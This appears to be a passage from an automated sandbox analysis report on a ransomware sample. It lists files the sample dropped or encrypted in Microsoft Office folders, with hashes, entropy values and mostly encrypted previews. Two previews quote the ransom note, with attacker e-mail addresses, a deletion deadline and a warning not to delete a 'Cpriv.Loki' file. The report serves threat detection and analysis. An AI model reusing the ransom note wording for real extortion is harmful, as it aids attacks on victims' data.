.fY.#9n.?H..R.t..*\|...s..q.......V.j5~...W.....@..V..}U.x..<..,......U..A..k......w_f..g...e......o..#~.y.k..+..n$q.(....QD.../Wc............=....8...^...#..;.8.#....3c..".=A.N..k...c...e..p.6..=..ty.7Y..1r..V.s......{Zs.i...%x.P)..M.....R-+L...b..`.o..6d...KwLh.K.9.t.16.....D..o,..0...bk.9..y..P..4...)>..Z..n......z.lY.c.:`'...E2#......'.V........P....<.OL._.AX..\|..S.p..W...p8..zd....[.@w.'.....~.......z....?..{JB.....31/..x.E...g.'...4#.n6.\.\|..z.jZ<&......$....(....D..>7...B....'.F..{o./..#..D?N......j......>;...(.......8...h/..,....uN.7Ri..hb..o..y......x....J_......Z..>6>..7.....A.$'=>..%..k...;...s.t..y..~....7.m.L#.hB.....5....jf#...ow.3)..ZD.......Q>......s.B.D.e-O.b...%.

C:\Program Files (x86)\Microsoft Office\Office16\Configuration\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	true
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Program Files (x86)\Microsoft Office\Office16\DCF\EmptyReport.rdlc Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	940
Entropy (8bit):	7.7944005693624865
Encrypted:	false
SSDEEP:	24:N4nccP8gYct0zM0TLMRcL/aChHB/a0NNCR2wqfDq8oTc:N4nxYcCzMB3EIQzqvI
MD5:	DF740A6091E4E27B118CB17A6BF8FC06
SHA1:	57AE96F4D470BE71DF4EBFD941C035341F27BF9B
SHA-256:	77B34B84679EABE1F94AEC24C91ACA9997F8C185ECDF73456D39B30EAD752B9B
SHA-512:	9F61B311A0E02A9E1EC713E8E93EDA3D604068B5F7A4A69481AE801DE90D4F6350CA5DF23CC22091680C3139DA89476D5BBACC1D976C6858B326B0A5E4F2FB93
Malicious:	false
Preview:	vq....,..S..T.H..).~..0..W...}<....L3.......EPj.2...u.@.......'............j...>~J....Pxl...~.>....\...\|..A...F.H.t.s2.-..........y..L..U.......=Hb'..$G.+<..e...M..A".`B..pbu.Y^.C!.......&+>..N.'.\|..3..7...0s.~..J..).=p.Xd.$.%%...a\|y..<z.a7....5..&Fg.8.Si[<..w.1z..Kg.<.;Oj.j...5l....X.h<FY^.f...../..[r..t...q&......!)..4.v.f.Yu.h.`.{xt.n.2.XP:K..?.=.x...x..$..K.m...x.eW..##[....m....`ouk.....~..r.B.'=.....!..Hp..2g^Keb?^.K.4......!..Y....2..A....Z..........?..j.....\..v..;heV,..`...b.x..!.-_.2..-._....q.=...NPaq......?..N......p...>.].c...[...Y..n7..[..~....H...@......^...m..=._.t..r^...,.w!................{o......]H...Q...U..JS..f..MB..T......%lV...-...To.X.....{.b......;...Z.N.....F...'...ARr..#%.3Y.....@.<.R.q.j.h.QMSL.a.,@7..8..oQ.%...".., r.F.lI.Xd.......*.n...N....K.....P:.-......,...x....LM6....xHCtze.WH......[5}B..!...y.....$.;/..{.]<3djG.h..Q..x....D....i.Z...8.Y....;.k...9......NH

C:\Program Files (x86)\Microsoft Office\Office16\DCF\en\Restore-My-Files.txt Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.000222043072003
Encrypted:	false
SSDEEP:	6:n7CSfmXy7MZATkL3NL+2DFGIwBfriOukL3NUFo5xCoQYMEb9n6bZEIseIOSTFqp3:xeXGMZATH2ZLqrxu/FWlQs9UZEIseIBC
MD5:	ABF79FB7AA0DC348988B94381293599D
SHA1:	042DC3C6489BDBDE430520A9D732F2E37CDD236F
SHA-256:	8A75D8A4E4012A028062AB49765F6400F9F729BEB92008A7E8B37489CFC180F8
SHA-512:	E9B75D1A4F9B93EDC368114CA13D2AE9836479941CDF921EB08769F7E2A3E7AE6F770A048A0DFE4F2BC7FD0AE37D4CFD9ACBD61EF0C59B72B0FFC4E3B494CD5D
Malicious:	false
Preview:	!!!All of your files are encrypted!!!..To decrypt them send e-mail to this address: Unlockpls.dr01@protonmail.com..In case of no answer in 24h, send e-mail to this address: Unlockpls.dr01@yahoo.com..All your files will be lost on Monday, January 10, 2022 9:36:01 AM...Your SYSTEM ID : 57802C8E..!!!Deleting "Cpriv.Loki" causes permanent data loss.

C:\Program Files (x86)\Microsoft Office\Office16\FORMS\1033\CNFNOT.ICO Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1334
Entropy (8bit):	7.846955102821409
Encrypted:	false
SSDEEP:	24:he9L69BDFxn5fD2dQJOjMkOAt+1T/bxb7Debw1uyHe2vjPXLiQcb+lB7zmz4UD48:E9L69pZfqdQJOTJY1T/b17DMWHZTbpcv
MD5:	FEB9D0A40F6FB5D43EEC7FA3B08F53BD
SHA1:	B671D55A133BF8B47AFBD1E63D0EC238B44B0C56
SHA-256:	E99E813F753D4365F4118FB9460D29A96D7A95854C10969088143481AB8B7B0D
SHA-512:	ED8CCC27599573607D235994BB8B1AD57630ADA82BB1D382D621F791B1AC21767A63348490597DBBE6FC3D07A3867F1C9F33CD196853480EED5AAD26756921C7
Malicious:	false
Preview:	.!..\..........k.....X..D.;.x.`-5\4...Sj.$p#....0 ..7..U=.o.{c......i;y....3... .....P.../K(.-BQ....S......X....0#7..c..V. ...c{.;...^.j."-..\....Y..:.A.K..@....)N..4..\1..y.}..../F._a.....j)vCL..sT...V1.#+SNk.Y..y.@4n.{....g..f'.....FEf.Lx...Q..9...F...;..:...u.9.le.".5V;Z..3......'.oXi.cD....."@.^......H:0T.SaN...7..x..i...].....So1.W.Z.C..]...M..z..Y\.P..... ..B.P.k.N.....6....U........X.r...?.>.........R.S.....P.{.....9.A.T%O......$..G....53.9.Df..G......Z..e.u....+.?."...+.......t.S.]_U.\.....3.....s..L..Lz.n.\.K.:....tN..mS@..@..C.T.<...5BY4..<.wU...R..H.[.B..w<_>Y...b...?.\..z..@.9.`aFH.Hsv.*.u..7+....j.Q.&n...uP.^.m...\|O.....}.E.....+D..'.....x1....<....hkS.<...x...t.8...s.^...\|D...oR.'u....e....q.1.J....,e.....Kjf..,.....x....%Jc..=%M..7.....^.`.....].D...T..&A...(\|...e_...A...h..x.N..4........S.W)!.bON..... ..._.......,l....x))}&..q.............0..s.m..7=.u....n...e9..lT.p.V.......\Rk..pEoZ:..;.c......j...&i...8l.YR

C:\Program Files (x86)\Microsoft Office\Office16\Graph.exe.manifest Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1584
Entropy (8bit):	7.88099984558736
Encrypted:	false
SSDEEP:	48:NMfT9ZEEGdhH1gteApp6zuVwyLmI2N9VN:NwZxUhH1op+WmXn
MD5:	F98BF27C4DC89882080E7FD135B5360B
SHA1:	EEF4FD372055724D717A405F49688232767857E4
SHA-256:	23F0EB8258EA03DD04462DC33D5F10ABE4F9F48D082D7804D36F34CD1034303C
SHA-512:	6500C0FBABE0F69656F2FE146622A494FEBA6C406B6EFBF6700597557BF6500F8E2E355ED8B0AA0305967528901CFF9DC3141B000E9DA47457CEB1ED8FC6DC29
Malicious:	false
Preview:	%VoJ..w.;...fN...&.F...P.P.o.@0..~E.KKFV7!.........r.p..P'O.Z.....ax........c)..p.e...8.4....8...uM.......;lNdJ.....X.#.A..,...4...!..m?Z?......[........u/Ud...q.7i.$}.r.O.?.\.......g..'+DL.lKn.v..p"\......:G...^y...._...p..X%6%d.]...a:_...lJx.>...c.b1.C....\.).4..kN....1j1...0.h..".I(.N.-.\|f.A.W.=.O.K.g..q5.L.mj....l>.>.)...8RC..7]....7!....v.w{..H.....!.....=q....0w5.R....4.v..C...n"..e.3.5K....&k....+......i..!2...G^K.>y...}o.'.1...E.k,/.g...-..m)./.....!...~o..K~:..@........./y#...x.K...@..ai\v...4x....l.K.^.....E.yQ.......wb...w.Z.x..[.f"'{,..j...X"...._..n...P0aP...m..x)..-..%.7.t]b.iNq.mQ$...N._...\|QP...o.3.,.N....\|.a.#.E.K..,..C.A}.~.%7..QYg.M..y...#.<O)....:.....2?.F`.......".-U.....,.A...V....[...$...E..7%..a...E...p.]u.J..xL.Y~.6.=:?...rA...G0.....? ..lO...FUG.......9.[..3..BHw.._:.........2.6..*.)..[T...7.R.....l%.M.l....x..y08.P..~<..s.W...W.f.I...j.b&.. ...!.[..>...(".(..Co.....UT..B..G.d.ts...E.....).<.....-..GI..}

C:\Program Files (x86)\Microsoft Office\Office16\Groove\ToolBMPs\Shared16x16ImagesMask.bmp Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	4152
Entropy (8bit):	7.9545595213474085
Encrypted:	false
SSDEEP:	96:JcyohQ81rnQ8OARCh0onyP4nPUK9KRMSJu27yme:JP+HHTCh0AyP4tKRMJ2Gl
MD5:	2E4925B3C99BA7F44C05A88EF5462EDB
SHA1:	A65392318C2DA9D0C9E2D62A1BE6DB68874F6FBF
SHA-256:	F7625A53E09132983E13F4ABB1AB69C0DF53C9A752317E5C5CBDDC3BF5298730
SHA-512:	59E50E17A1B2BD5DF648D380BD4988C93C9FF9AF8031D7AB929C98798DFA9C039DF2D11BAAC2D9492580D04DE8CEEE04F7CA30DCEE5F965C3B4383FB859B513B
Malicious:	false
Preview:	}..?.".Z.P..E...A...ZX..v&U.z.\|z.(8..".zcj]....=.G3....i.s..5(.5.L.....a.2.h.'..]Ob;..9:"]`..d....NU...8..&...d.6.ja+.......T....'...X..V.\..<2d.... ..#.....K=#.]q..Lh.'...d..L..Z.&.....r.e.A.[..h:.~..=.....&.&...p.!.....f.k...w..-\....kR..z=-...H....G.)..j.V?C<..U.....r.K.7.. d....mR...1...#0;.._...R.?.....6.W..%.Q$.....$.f`..1.6..M.-....CA.y.Y..l.tb{\|=..Q-.....6.QT.C..M.W.3u>...HB0}......bZY.l...!.u..)u).{.P...JO(1.....%'...n.......AB7uA..$...4M.D.b.n...<y.V.9....'(5.6..O...D8......Wop4..p$93.......9..{$a.8.6P.'..xX.mL.?...7>.I.........$z:]...N...x.?_w#...2o.F......I.p6..fL.lC..L..yG....>....[.V% ...x ..b.E...H....X5........8.2..a....$..0Z+.E.P.u.,.Am.H..u.a..~;.0..j.-!]..D.....m~.....J.....m...`.....%..o..Y.Q..i.c...p.df........ jhO/,M'..y.....69O.....h%...tO.^..8bV.C....go...8...-......eg..zS9...4....?L..N?...R...I.......{!...M;Q.uJ,...vT>A.M...,...K1N=.>...O.F..)....oU.,....q..@k.F....c4..e...--xUNix.1Q..........\|h...I..7....?.q..{.2I.

C:\Program Files (x86)\Microsoft Office\Office16\Groove\ToolData\groove.net\Computers\computericonMask.bmp Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	GeoSwath RDF
Category:	dropped
Size (bytes):	2360
Entropy (8bit):	7.925993448688876
Encrypted:	false
SSDEEP:	48:A/nTIXOBOsvSfFqKNGIF7ryJGkV8hjIh5UzIgepJiFEz5Rl3DySsp:A/TIXOQsvo3pFHyYJx85YepJiqz5Rk
MD5:	41AA08F3875AA7E0A95DEF8CF8678373
SHA1:	5992CCB01A444D4099725E42BBFAD712AF975219
SHA-256:	4D7CF586B81F7F063260246D065018ED9EF15F375022C755659E74EB0138A758
SHA-512:	A6BC5AB06124542E49441C21B3DEE8C6C133FC7AE0C547DE567F9849C3511906557C6E8074931C8D02AF91A0925003206170714184528BC7C50F7260910A8B38
Malicious:	false
Preview:	.F.. .AS4x.sR].f 0[G%..w.o.x...%Ot)T.r.n....+.S.".r..F...4._.....L.,kT.x.&..{H..$.....W..c..G.A..N\......=kQe.Q...h..s.-.R0&.W:...)1..K.m7s...]7.....'V...#%^dX..p.w.:.+..;.;E.j......O.[... ...I..46.T.M....].0.Z!...[.j./.6...nw!.Y....j.....y....-.u......8...$.E...Q-.....\..<..R?x..4......e2i.C.TK...oR.SZ.cp..Dd.....z.".f..q.]M.M........-...aw....\..RabNe..Sg....;w.n(<4.pN..E..D.nf)....v...se........P..;.N...u.i .y..[.[...s......q...;.6.N...Nd.".l&o.....{.S.:...h.N.....d.n@.....G.0z..(.5=3.........oys.).O.0n.n.,g.+.i...,..N'Fb..\|.....Y...#.A.+..!.o{.6.....e...v...l].C6Le....\|Q......../....z7....{q...>.[-.{....7........h..hJ......M.#..O+Yh.(...l..P......V..........`..\.z........[.H+.,Z.}....U7..o...7\|H8..T.9.z...c"`..a{..":./[..t....di...>f.Z..\|....M..s.d.Qo..+J.Y.{8.,.....PR.64.k.......Y.g3.6CA.]FF...u...uJb]...L.Kq-...c..A.D..N4.. ./$k._X.]7...cc9....T..[.F,i..XL......t?..T.Bc.<.#r.?..k..t.Qr.f....o7.....sD....\|...l.

C:\Program Files (x86)\Microsoft Office\Office16\HeaderPatterns.xml Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	12335
Entropy (8bit):	7.987245658225411
Encrypted:	false
SSDEEP:	384:LWR0LWWbxy3okpUAUA34rpvE3u3yR/meJoI:LWR0LRb83NUfp83u3y1FoI
MD5:	1B7AA69884393E0ADFCC83A467ED4F71
SHA1:	0A3CA15548F56F35DD3C147A7506E10D1493F8B2
SHA-256:	04AD481147E90CA059B53746A149EF35D6815FF22A69DF3233FF9F1FFDAEAEFC
SHA-512:	FD059B1379D0C2AE7B896D2DD0DBEED9F2B46AC1980EB3B0ADDAB210D4836736493B699790237D696085C1619FE39CF8CB05A18A9C0C4E47D8FEEE118507A59B
Malicious:	false
Preview:	..&.L"-_r ....[.....;.P......s^$=.^...(.~x..+_..F.....H........i....3\.i_.d..Wbu?./...#`.C.......4.Eo....@r....ix.R.........\.s.`..V...z.YU....x..P^..=)....>2S\V_...Xo..y....H.$kS.v.".ie.,,.Z.H.a...y..uo..'.I.....a.H0'E.DsX1.g..Y...n.p.7...J..Ag.. m......H.W......I...g...K.e....b6..[B.D...:.3mN..1 ...=...Q..........@.6..8..4........s.Z._t%dj....&...p..y^.]U..=..h...).6".....bV`m{...?....M_d.C.c....0.Ly.t,@X.g..._......4.hUz....W...i..+.s.H.j..!...._..T._....s;..".Ec\+.r.q./i....`T..!....7.j...y....k.TLH....."Z]`.....\|..W..Bw...se...e.,...l..y5....R.d......u..n..u.br..W.w...c*..E...EC......:.L.....P...L...U.8.J"...c.~.7&!z.0......K2...."...r.C.0....U......!r..G.r#.K...%..u._2.<.'z.HQ...A.........eo]\.Y..W..^+..4...?.._.,.!...!.g.:<."B}~...A...=<..[E7s9.........../?k..p'.&..._M..W.....-.O..R...C ..y.$......kr1YR..5.&.#S.!S......".......\.R.....j.K>_t.U%....Q..+..c..9..S?6.jm.._...3....T..g.=....Im.-.@Rg......Y...<NPX.....tp"....A.i..O...8`.

C:\Program Files (x86)\Microsoft Office\Office16\LogoImages\ExcelLogoSmall.contrast-black_scale-80.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1878
Entropy (8bit):	7.914973693673188
Encrypted:	false
SSDEEP:	48:k7qBKX9A7Qp0tv6DnTeqD8DihBulbKudUx/xgouBl:mlXIoDyPDiGFcZgxl
MD5:	20BC173FA24E2F3B8CDEE027498CD22E
SHA1:	B498F05A4CE2BE9EA752191B77970781F4708A7A
SHA-256:	C670F30D365EE370439D4BA650CF1754BFC9E025B73F7C619186DE548B417BE3
SHA-512:	6BAECFFA3A9B2B34453B59A88BC9F6A583D8BCE5E9034FE4E1386858FCF4F3A1027ACCC425A97FD0FCAF8114D828D1A5975C5F37656F6583E97F78A75D99395C
Malicious:	false
Preview:	z$..Y~9...D.P...1.C.Y{u&..+......P.....EVe.../.o..s.j....sH.K.=w........#.....9t......?...,..9(..p..j .tE.$..@i..K...6..A.2..>w..T.P.v.n..D.....[..n._[..V(b.....w..l.p.a..@3m7..hT....D...7.....iv.GW.1_..,.\.r....m.5fE..H....M...D$..q..4..N...l..GV0.z..........."...#j....O..I....\|..=m..K/N.^.'2...k...#<;i.m:...>..Y..~.0...&.....Y#.....Jp.. 0n..6..F.....I>zjF.....e..}..m.2%..t..m.Q.;..'..c}x....d6..:....k.dnkz4pHlk........f._,..-..oQ....;..?.F\|1=.&B...^^.....oR.n...........Z=!R..........N..k.q;`..l.+..F...D3f...."..a......u&f.o....h!.O;..HG.y..K.....bM$...w.5...C&.".p.G}6.C.b.....m$....n.....U..X>-.4L:%q:........^.Tji~5....i.>%(.,..-t.)by....?..ex:4..S9D)..V..G.....v.#...Bk\|.N.m..h...T.wyc.....U..X"U.-...<RbA.EG..?..-.WA..e.{~f.y...C..p......8Fv...53.a...8..y..HPm..Z..i.flr=qd..X...!.J.X.......J.....Px.xv0.Z.....x~.I.{e..T%........X+.FO.t..Rf".?...,..1+.3.<......,...j.a....o..cuJ~..I..JX..Ei}.1Z<.IQ".;.../....A+t..[ts."....

C:\Program Files (x86)\Microsoft Office\Office16\LogoImages\MsPubLogo.contrast-black_scale-140.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	3285
Entropy (8bit):	7.934417591016728
Encrypted:	false
SSDEEP:	48:R7GP7+PQIk3wDQLKFenwJLMU1FXh5rCTTq1d4tzOJ2rc7ibxHHrUV02Gv9GFeVVY:RiPOdI4JLMUPR5rgT6d4kKL5U79YVY
MD5:	32528037601C24856E38A623C14A8EA7
SHA1:	257C4570DBD89639B5E5D62D056EDB8E59DCEF08
SHA-256:	3A264F2D0757280551E7ECDC2D36B84757FB08A8A6615414083CE569182945D2
SHA-512:	9ED63359B0FFB135952201483C9AD6B3409E50C740ACD3FF151D8F69C920FAD34A700A69202F81CB5B8B595D430A3A6B47EA1128490ED93B4183D6A4E4ADED08
Malicious:	false
Preview:	-..F-...#.__..{...D..h....[.E.6We..?.Q.F.)......].....H..w....\|.....Kp.r...-.#.x.........!..-~{...'?.....}BA&:.=\.Xx..<.....1..T.+..a).E.y......m..~@.V.B..Db...W.n"X.!.%.J.X..Xi.....92..<.kw.C9...N.N....i.S.%..5wbfU..) %$..(..(.........P..xe.....%>\\.6A.Q.....W[3~.....:...5>...-....gN.h...k....../.^l....;`...X...mr..W.....Ay.o.,.7..G....8.B?......6.vNy..n.%eX..F..N....../....... M5....}....Y.......O2..S..t....ervq\|...w...... .!....-..hn..p.....p.............A..a?&p.{.zO...0.,....+..Y$).V.>..b..{[2.!.@.jVB..p...M..c!:..U'...c}..r.oH.Z.\|..Z.....X...@_\|.g3lN...k@....DN&.6.#....Bj8..%."d...^.....g0....J.....y.xb:.......F...O...._.?L.}.U......])..../..B...].X....{....ZpU....d.e.ox..#w}B..FK........u..[.P..T^.l...b..!..%`9.8j...G....BG.....fpb.H.uD...;...w..H..2%S.......e.c...v.wn.i....\|.DD.2a5.!Xfg...3<F..:...,tr.]Na.r...G......6..X..;......Kv7].........6.....5..w.4..........N-..p.t.................0.S.E.w>. V.+:[.,........Z../.b.A(..}.5

C:\Program Files (x86)\Microsoft Office\Office16\LogoImages\OneNoteLogoSmall.contrast-white_scale-100.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	2106
Entropy (8bit):	7.910454582586399
Encrypted:	false
SSDEEP:	48:49fCA40X+ycf6S0Js+IruVQ0NFtdY43z7vyovphl5G4oSi:49KPf6SX/rb0HX7vHhhl5VXi
MD5:	EFE56C33F3555DA6C3286CDC7FAA564F
SHA1:	3CF41E95D83715BAFB77480E9F5A01EEAFF320CD
SHA-256:	CBD91F4B50AE38401AD83ABE56406F5395DDB54B26AA391673A735A8820EF12B
SHA-512:	256983A61DA7CC7811213C171ADBB1795B68DE67EA32E9992E80643843EDA023D8EA743C95F220B8E418CFCF807B67A1193735802B08C3DD477EA3FEDFB4E197
Malicious:	false
Preview:	4,.~..}L.......k.....zNt........E..G.v.&.......-.{z..8.9.`.Be.U...(...:...uk..?"..S...0.&....!..J.oj.........k}.w>.......<0..#mC,,..g.b.-`.v...;....$yp.?.....% q....w..b7T.6~.E....ae.{...Ta..uF.....$Ut_...........A..\|.#J.....7...0.$^/...=.dG$..JM.+.Y.4Z..".R8A&..6PH.[..:.E.e^..n...b...4(C(x.0."+..]Jg.AK....6ui".68.Y..).&.x^W.@&....qN\wj...yH..ti.....o.AG......;8.=X.PQBe.+d.M../..,..'.m....5Ji9t.\.<.B.v.V.$d.........i....R.#...<.9.'.M..+...+7U}.}..YM...hI..Fv.....>.^..s.....b.<.T.......'`..e...4..$.M.+.^..py...\|...+A.....h....2+.9...^..^.........yP....E...6T...).m.H...u....z..a.......O........X<.Z8j).+H.!..P...#.."o(.f....p .`...PRq..V....SS.R....N....L.<....G;..V..~&..c.<XC.,..i}...v^.bmP.%.%..).V.[.,E...f$.3\\..Z.e.8./.r7..>0...}$.C...w.\|..... ..m.....S...y!.,d..USs....<v.N...E......c.bN.{...<.r..%.\|.2$.b.KTm....\|..R:...w......>3......y......=..T....1.=.)..d...T.o.B........%\j..."BO]o^.....,..dE(..h.spJkX;...7F.l..V..u0,..KM

C:\Program Files (x86)\Microsoft Office\Office16\LogoImages\PowerPntLogo.contrast-black_scale-100.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	2519
Entropy (8bit):	7.924509798019999
Encrypted:	false
SSDEEP:	48:Dwx6ru+FAa0+K5v5JolGURcOOvkwhWHgy+ULMO1Mv5IOZC7jpzgxtDF9:Dwx6PAahKmlGQcJEAy+GuIOZC71aL
MD5:	047565752D18EE6AC76736C9D09C9196
SHA1:	F2C5C62C25C8CBB355A6B15783D595892955D6B6
SHA-256:	B66D0DF580F6E877EE9A4A093A8C563E0A7D4CAEC374BA2F7392FB65B8C22B0E
SHA-512:	788B1D918FF3FEAD2764F23AD0A554F259241EFE263816B080DB8534F9288410AA805D427239AEC85EF23AACD19112E3BE8B4EE40E6B5826739269BA9A813C1A
Malicious:	false
Preview:	...a@Xn....fXB.~.lL.....5($aC.0.q.._..........N..B/`..E?V.t.&...w..#..p.p.V.?F.[M{$.j.`D'..!b.t.-.....n..I.;.N..[O."b..1...<..X.~i.^..........iVQg.....ta-....C.V....$lqc...Qu.U...U.P...~....B..Q..)I..N..^..^h..>F....kA.^..WlZz<;"3Fz.../1.s..V....t,'F..> ..1.2.c..eU_...."e..^...f.....qnA..^..6(.._.n.vq.R.x.`.5....N.8.5=.EQ}.{.....{....`.....$.. ........yy.J.v.........^.._5=.Z.Fb.L.y......\.Pa:B..K'...t(zn.#.Q..H..f\|O....=K4O..i.."RM.$....".b<..0..q.[.g.9.c..=..O[..&.K..}.0i\L.._MVm..L.q"..N.Vq..mr.f...s.P...F.d5.....$a.... .F..0.....D,n..M.'.....X.<.#X.F..fS.=.B.#/...N.f..0."....pX.m.....T.^S..q+.L.h6P..H.R..A.I.~..X.8TC....{.....fp7w..\|G..-a\|m......n.&...t"..;...........D...3.:S.Q..)R......._.....,X[..(y.\./.>.....b6s]#..o..3@.@2Jn..........6..(.....cB..{;._.&^....RA=-IU6%...f..<O.a..x....=...w..oVR.4.....z.f......x..%.....].:~[l\|...T.oO}..N.u`..W%...H<j..AY.*....V..fLA.A+Z.{....p........T..I.$...G>p..[....S.....

C:\Program Files (x86)\Microsoft Office\Office16\LogoImages\VisioLogoSmall.contrast-white_scale-80.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	1919
Entropy (8bit):	7.895779331597926
Encrypted:	false
SSDEEP:	24:KInU73VS7R2N0x4KIhUJsp1//XCT+mMY5EAuepzC9brsikd2rFoon51CmBdCG0R:5qIR2N06KG5XXCGMfG9EikennCZ
MD5:	23E3C47EB203AC83889952E8F7FD9F8B
SHA1:	C90EB0BFD31D6B543CF5C8331B2A94A479F6DB0C
SHA-256:	7BA232D6D72C43CCDD678BB9B83B0F2333D52ABA9BDA9214175647D9C1A62EEF
SHA-512:	46E56D8CCE102FF496FD262795FBA9E78EA7325BDE7E965D71A69CC062C9DEF6DC72B398616C02281ACC50669D79BD4127A5EAD958DE784BF861FE1047541C0F
Malicious:	false
Preview:	.....#....WZU%Q..Lt..r.h..P..z!SF..we......._.M....\|.....t....\|...ddt..; ....D,N..).-.=~.eN..L-...S...~...K.....G.fg.\|.a...0.H..&..-......(\......"../.j`.u&q.V..3.h. ..+....=.0..f....p.G&.7u..y..... 7.......y.u..J..U_..N.89fk.X1.;.K0...'5.d..^&.v.U.....I...\.#..t.....i...s.....Z5...t1JZ....B.hy.q.Z.`N....X..J..T..=...;...M.g..JL...N... >..L.AJ.J....dI..g..D.G......Z...h...1<Ad.....{..S..U....[.p....(..v[E$..[..h..\.}gT..r..].<\|...yG?.a..1}6..].G..vM.....{Jg.qq.......%}.1..>u.C.k.m.=.....j.R.....h.....l1eP>...s..."....g...o-......./D....3..&r.R.P..X.>,.0..x.;.6.R!...."#ft?I..K..fe1..AV...j.~".K..v.Q%@.Tv+}.l..b...iL.B....O..!.v.,..{....WH..#..'..>=.....+..Bu..E.r7._.....v.*^W..N....d..q.0T.....Qi./!..a.....O..2........Ma.....9.K.x....<..g..F.,...cc.:.U.o.~...\......^.q.).....=..O+..D:.y.L]@D..TC..vQ6.....@z.a.}x...U..`..8...u..!...W42w3CN...>...v.(..A.$.....Rm.~...a..."..40p}.=..)..t...-....9..@t..k...]8.6..!1.6./...(p.

C:\Program Files (x86)\Microsoft Office\Office16\LogoImages\VisioLogoSmall.scale-180.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	3544
Entropy (8bit):	7.955437097266562
Encrypted:	false
SSDEEP:	96:2pb3rkukh5CVN3U2pN1eVuRWLpS1YrENNccP:k3rk1qy2rgVEck
MD5:	1CBE42BBFEAB30C13CD819887FD2DE08
SHA1:	076F8B7EE12513E0CF859D2F549E1515FD39C41A
SHA-256:	93DBB4C9E732F9E5978A503CC1AB02990A52A1D2519CBBE2C7EFA94A609EAF10
SHA-512:	23046FF54C62AE0EBFFC12D5D22E69274BD2B0D76BDE08003190B539478A1CC6DBD48A191E378A1AC7EC261DB84A1B139CA5EE15B527A39BD045E73787B902D2
Malicious:	false
Preview:	kYOz\|.0...c.g.i....SB.J.8"...0.@b..........#.@.9g<.e..+iv..9kXf.....BI.?3.\~%.......`.....g:/Xi....J.t.....hch4.......f~.).W..@..8..V/d.8.ERgu.A.T.JR.k...=U.........-.qS.N.K#...zNB....X..Z....7.#:F3.$.A...Z6....L&...v....K\|[...dEm.......)>.g.......P..u.).uk.s.HG..K=...~.7>..`...v...:.8....=.0.;.F$`F........v..a.(.A.e.T. yK;.O.....$....<....5M...\|....P.g..&`(......U.7+^..G..@..a...:uE...F......w.`......kE.DY.\.M....<.?.=.B.N..A.E?[B......._....q..5......W#..B..a..b<.l.MB.j..>..~>W....n.;..rs.lTb.....N4t.W.........x.....3...,.....(`.tam.\|O@9.pJ.N<.=\...8p...n.:L...xf.......E.eJ=A.ZJ%...}......A.%...w.....>'.k.......4kD.[..3A..[.pk.#c.............a..[.=F...e...B.....D.r.M..l.....w=......Lo{..H\|..n"nt.7.B.rxj.G.3.y.)U....z..aT_M..A..,LOH.R2...-w..........90........X..d...]......e...`.P..-<..P.\|.-..Sx..m.9.../.....u..e..b..6..`.x.5.j).....a.Qa.v.1R.UO.E.bT+<.............w....Vim.V.&....."...cV...c..5,)m.L>3...Gf..j.........kq...f).q.C.

C:\Program Files (x86)\Microsoft Office\Office16\LogoImages\WinProjLogoSmall.contrast-black_scale-100.png Download File
Process:	C:\Users\user\Desktop\Unlockpls.dr01@protonmail.com-1.exe
File Type:	data
Category:	dropped
Size (bytes):	2137
Entropy (8bit):	7.906594229093245
Encrypted:	false
SSDEEP:	48:eyZ6Sz3ZTRKPz+KY15qfIIPfhD/96m5Ulp96KrxQiEWwPqOtBpqEBu4iIQ0y5Zam:jBKb+KYGfIIPpjN5Ulp9FrxQCGtiEBul
MD5:	812FE3155839344C0E58EBAAEF4DB632
SHA1:	F06CE47D5C7D971CE3EBE67595460E871943838D
SHA-256:	E5A808E40FE93264CA564CF1D1E70138C98129D799DF4FBF63FDA804A68CA13C
